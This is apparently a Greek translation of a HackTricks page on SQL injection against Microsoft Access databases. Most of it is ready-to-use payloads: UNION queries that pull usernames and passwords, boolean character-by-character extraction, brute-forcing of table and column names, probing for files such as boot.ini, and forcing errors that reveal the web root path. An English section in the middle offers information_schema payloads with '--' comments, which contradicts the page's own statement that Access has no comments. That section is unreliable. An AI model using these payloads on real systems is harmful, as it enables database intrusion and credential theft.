MS Access SQL Injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Online Παιχνίδι

Περιορισμοί της Βάσης Δεδομένων

Συνένωση Συμβολοσειρών

Η συνένωση συμβολοσειρών είναι δυνατή με τους χαρακτήρες & (%26) και + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Σχόλια

Δεν υπάρχουν σχόλια στο MS Access, αλλά φαίνεται ότι είναι δυνατόν να αφαιρέσετε το τελευταίο ερώτημα με ένα NULL χαρακτήρα:

1' union select 1,2 from table%00

Αν αυτό δεν λειτουργεί, μπορείτε πάντα να διορθώσετε τη σύνταξη του ερωτήματος:

1' UNION SELECT 1,2 FROM table WHERE ''='

Στοίβαξη Ερωτημάτων

Δεν υποστηρίζονται.

LIMIT

Ο τελεστής LIMIT δεν έχει εφαρμοστεί. Ωστόσο, είναι δυνατόν να περιοριστούν τα αποτελέσματα ενός ερωτήματος SELECT στις πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον τελεστή TOP. Ο TOP δέχεται ως όρισμα έναν ακέραιο αριθμό, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.

1' UNION SELECT TOP 3 attr FROM table%00

Όπως και το TOP, μπορείτε να χρησιμοποιήσετε το LAST που θα πάρει τις γραμμές από το τέλος.

Ερωτήματα UNION / Υποερωτήματα

Σε ένα SQLi, συνήθως θέλετε να εκτελέσετε κάποιο νέο ερώτημα για να εξάγετε πληροφορίες από άλλους πίνακες. Το MS Access απαιτεί πάντα ότι σε υποερωτήματα ή επιπλέον ερωτήματα πρέπει να υπάρχει ένα FROM. Έτσι, αν θέλετε να εκτελέσετε ένα UNION SELECT ή UNION ALL SELECT ή ένα SELECT μεταξύ παρενθέσεων σε μια συνθήκη, πάντα χρειάζεστε να υποδείξετε ένα FROM με ένα έγκυρο όνομα πίνακα. Επομένως, πρέπει να γνωρίζετε ένα έγκυρο όνομα πίνακα.

-1' UNION SELECT username,password from users%00

Αλυσίδωση ισούται + Υποσυμβολοσειρά

Αυτό θα σας επιτρέψει να αποκτήσετε τιμές του τρέχοντος πίνακα χωρίς να χρειάζεται να γνωρίζετε το όνομα του πίνακα.

Το MS Access επιτρέπει παράξενη σύνταξη όπως '1'=2='3'='asd'=false. Καθώς συνήθως η επίθεση SQL injection θα βρίσκεται μέσα σε μια WHERE πρόταση, μπορούμε να το εκμεταλλευτούμε.

Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι το όνομα μιας στήλης είναι username, και αυτό είναι το πεδίο που θέλετε να αποκτήσετε. Μπορείτε να ελέγξετε τις διάφορες απαντήσεις της εφαρμογής web όταν χρησιμοποιείται η τεχνική της αλυσίδωσης ισούται και πιθανώς να αποκτήσετε περιεχόμενο με μια boolean injection χρησιμοποιώντας τη συνάρτηση Mid για να αποκτήσετε υποσυμβολοσειρές.

'=(Mid(username,1,3)='adm')='

Εάν γνωρίζετε το όνομα του πίνακα και τη στήλη που θέλετε να αποκτήσετε, μπορείτε να χρησιμοποιήσετε μια συνδυασμένη χρήση των Mid, LAST και TOP για να διαρρεύσετε όλες τις πληροφορίες μέσω boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Μπορείτε να ελέγξετε αυτό στο online περιβάλλον παιχνιδιού.

Επίθεση με brute force στα ονόματα πινάκων

Χρησιμοποιώντας την τεχνική της αλυσίδας ισούμενων, μπορείτε επίσης να κάνετε επίθεση με brute force στα ονόματα πινάκων με κάτι σαν το εξής:

'=(select+top+1+'lala'+from+<table_name>)='

Μπορείτε επίσης να χρησιμοποιήσετε έναν πιο παραδοσιακό τρόπο:

-1' AND (SELECT TOP 1 <table_name>)%00

Μπορείτε να δοκιμάσετε να βρείτε τα ονόματα των τρεχουσών στηλών με την τεχνική του brute-force χρησιμοποιώντας τον συνδυασμό του ισούς:

' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'current_table_name' --

Αντικαταστήστε το current_table_name με το όνομα του πίνακα που θέλετε να επιτεθείτε.

Dumping Data

To dump data from a specific table, you can use the following payload:

' UNION SELECT NULL, column1, column2, ..., columnN FROM table_name --

Αντικαταστήστε το column1, column2, ..., columnN με τα ονόματα των στηλών που θέλετε να ανακτήσετε και το table_name με το όνομα του πίνακα από τον οποίο θέλετε να αντλήσετε τα δεδομένα.

Dumping All Data

To dump all data from all tables, you can use the following payload:

' UNION SELECT NULL, table_name, column_name, column_value FROM information_schema.columns WHERE table_schema = 'current_database' --

Αντικαταστήστε το current_database με το όνομα της τρέχουσας βάσης δεδομένων.

Dumping Database Names

To dump database names, you can use the following payload:

' UNION SELECT NULL, table_schema, NULL, NULL FROM information_schema.tables WHERE table_type = 'BASE TABLE' --

Dumping Table Names

To dump table names from a specific database, you can use the following payload:

' UNION SELECT NULL, table_name, NULL, NULL FROM information_schema.tables WHERE table_schema = 'current_database' AND table_type = 'BASE TABLE' --

Αντικαταστήστε το current_database με το όνομα της τρέχουσας βάσης δεδομένων.

Dumping Column Names

To dump column names from a specific table, you can use the following payload:

' UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name = 'current_table_name' --

Αντικαταστήστε το current_table_name με το όνομα του πίνακα από τον οποίο θέλετε να αντλήσετε τα ονόματα των στηλών.

Dumping Data from System Tables

To dump data from system tables, you can use the following payload:

' UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name = 'MSysObjects' --

Dumping Data from User Tables

To dump data from user tables, you can use the following payload:

' UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name NOT LIKE 'MSys%' --
'=column_name='

Ή με ένα group by:

-1' GROUP BY column_name%00

Ή μπορείτε να εκτελέσετε brute-force στα ονόματα των στηλών ενός διαφορετικού πίνακα με:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Απορρόφηση δεδομένων

Έχουμε ήδη συζητήσει την τεχνική αλυσίδωσης ισούμενων για την απορρόφηση δεδομένων από τους τρέχοντες και άλλους πίνακες. Αλλά υπάρχουν και άλλοι τρόποι:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Συνολικά, η ερώτηση χρησιμοποιεί μια δήλωση "if-then" για να ενεργοποιήσει ένα "200 OK" σε περίπτωση επιτυχίας ή ένα "500 Internal Error" διαφορετικά. Αξιοποιώντας τον τελεστή TOP 10, είναι δυνατόν να επιλεγούν τα πρώτα δέκα αποτελέσματα. Η επόμενη χρήση του LAST επιτρέπει να ληφθεί υπόψη μόνο το 10ο tuple. Σε αυτήν την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατή η πραγματοποίηση μιας απλής σύγκρισης χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να αποκτήσουμε πρόσβαση στο περιεχόμενο του πεδίου "username" για όλες τις γραμμές.

Βασισμένο στον χρόνο

Ελέγξτε https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Άλλες ενδιαφέρουσες συναρτήσεις

  • Mid('admin',1,1) πάρε υποσυμβολοσειρά από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)

  • LEN('1234') πάρε το μήκος της συμβολοσειράς

  • ASC('A') πάρε την αριθμητική τιμή ASCII του χαρακτήρα

  • CHR(65) πάρε τη συμβολοσειρά από την αριθμητική τιμή ASCII

  • IIF(1=1,'a','b') αν τότε

  • COUNT(*) Πλήθος αντικειμένων

Απαρίθμηση πινάκων

Από εδώ μπορείτε να δείτε μια ερώτηση για να πάρετε τα ονόματα των πινάκων:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Ωστόσο, σημειώστε ότι είναι πολύ συνηθισμένο να βρίσκετε SQL Injections όπου δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα MSysObjects.

Πρόσβαση στο σύστημα αρχείων

Πλήρης διαδρομή του καταλόγου ρίζας του ιστότοπου

Η γνώση της απόλυτης διαδρομής του καταλόγου ρίζας του ιστότοπου μπορεί να διευκολύνει περαιτέρω επιθέσεις. Εάν τα σφάλματα της εφαρμογής δεν είναι πλήρως κρυμμένα, η διαδρομή του καταλόγου μπορεί να αποκαλυφθεί προσπαθώντας να επιλέξετε δεδομένα από μια μη υπαρκτή βάση δεδομένων.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

Το MS Access απαντά με ένα μήνυμα σφάλματος που περιέχει την πλήρη διαδρομή του καταλόγου του ιστότοπου.

Απαρίθμηση αρχείων

Ο ακόλουθος διανυσματικός δρόμος επίθεσης μπορεί να χρησιμοποιηθεί για να εξαγάγετε την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων. Εάν το καθορισμένο αρχείο υπάρχει, το MS Access προκαλεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Ένας άλλος τρόπος απαρίθμησης αρχείων αποτελείται από το καθορισμό ενός στοιχείου βάσης δεδομένων. Εάν το καθορισμένο αρχείο υπάρχει, το MS Access εμφανίζει ένα μήνυμα σφάλματος μορφής βάσης δεδομένων.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Μαντέψιμο του ονόματος του αρχείου .mdb

Το όνομα του αρχείου βάσης δεδομένων (.mdb) μπορεί να εξαχθεί με τον ακόλουθο ερώτημα:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Όπου το name[i] είναι το όνομα του αρχείου .mdb και το realTable είναι ένας υπάρχων πίνακας μέσα στη βάση δεδομένων. Παρόλο που το MS Access θα προκαλέσει πάντα ένα μήνυμα σφάλματος, είναι δυνατό να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.

Αποκωδικοποιητής κωδικού πρόσβασης .mdb

Το Access PassView είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για να ανακτήσετε τον κύριο κωδικό πρόσβασης της κύριας βάσης δεδομένων του Microsoft Access 95/97/2000/XP ή της μηχανής βάσης δεδομένων Jet 3.0/4.0.

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated